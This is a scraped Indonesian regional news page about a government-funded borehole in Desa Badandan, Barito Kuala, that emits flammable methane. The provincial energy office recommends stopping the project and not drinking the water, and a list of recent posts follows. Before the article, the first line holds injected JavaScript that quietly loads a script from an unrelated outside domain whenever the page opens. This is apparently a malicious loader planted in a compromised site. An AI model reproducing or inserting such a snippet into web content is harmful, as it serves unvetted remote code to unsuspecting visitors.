(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Proyek Sumur Bor Keluarkan Gas di Batola Diminta Stop


MARABAHAN, Dinas Energi Sumber Daya Mineral (ESDM)  Kalsel meminta pemberhentian pembuatan sumur bor dan melarang mengkonsumsi air yang mengeluarkan gas dan api pada kedalaman 25 meter, di Desa Badandan, Kecamatan Cerbon, Kabupaten Barito Kuala.

Begitu disampaikan Kepala Bidang Energi Dinas ESDM Kalsel  Sutikno terkait keberadaan sumur bor yang mengeluarkan gas dan api di RT 01 Desa Bedandan, Kecamatan Cerbon. Sekadar diketahu saja, sumur bor tersebut merupakan 1 dari 3 proyek bantuan dari Kementrian Sosial RI.

“Melihat fenomena gas metan dengan tekanan rendah yang ikut keluar itu, memang sering kita jumpai di beberapa daerah di Kalsel, seperti halnya di Tanjung, namun demikian supaya masyarakat tidak resah, semua ini akan kami laporkan ke Dirjen Migas, karena kewenangan itu sesuai dengan Undang-Undang nomor 23 tahun 2014,” jelas Sutikno.

Baca: Gas Bisa Nyala dari Sumur Bor di Desa Badandan Bingungkan Warga

Pihaknya diperintahkan Kepala Dinas ESDM yang cek lokasi fenomena munculnya gas dari dalam tanah dan mendapati kadar air yang terkandung memang mengandung sulfur dan gas metan, sehingga tidak bagus dan tidak layak untuk dikonsumsi.

“Sebaiknya untuk masyarakat yang berada di Desa Badandan untuk tidak mengkonsumsi air dari sumur bor tersebut, walau terlihat jernih namun masih belum diuji, biasanya memang mengandung zat yang berbahaya, yang didandai rasa asam dan berbau,” jelasnya.

Tambahnya lagi, untuk proyek yang dilakukamn oleh Kementrian Sosial RI mengingat kondisi yang rawan terhadap percikan yang suatu saat berpotensi mengakibatkan ledakan, Sutikno meminta agar proyek itu dihentikan dulu untuk sentara sebelum adanya pihak yang berkompeten dan dapat memberi kelayakan untuk memberikan intruski lanjutan.

“Saya kira proyek ini harus dihentikan dulu, mengingat rentan terhadap ledakan, semoga tidak terjadi apa-apa di sana, terlebih kalau potensi gasnya bagus maka akan memberikan kontribusi besar untuk daerah,” katanya. (rendy)

Reporter : Rendy
Editor : Bie


Desy Arfianty

Recent Posts

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

10 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

14 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

1 hari ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

1 hari ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

1 hari ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

2 hari ago